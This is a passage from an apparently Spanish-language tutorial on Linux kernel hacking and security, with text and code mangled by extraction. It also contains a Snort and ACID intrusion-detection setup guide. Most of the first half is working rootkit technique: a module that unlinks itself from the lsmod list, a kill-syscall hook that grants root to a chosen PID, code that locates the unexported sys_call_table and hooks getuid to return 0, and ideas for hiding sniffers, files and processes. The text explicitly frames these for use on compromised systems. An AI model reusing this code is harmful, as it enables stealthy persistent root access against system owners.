Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

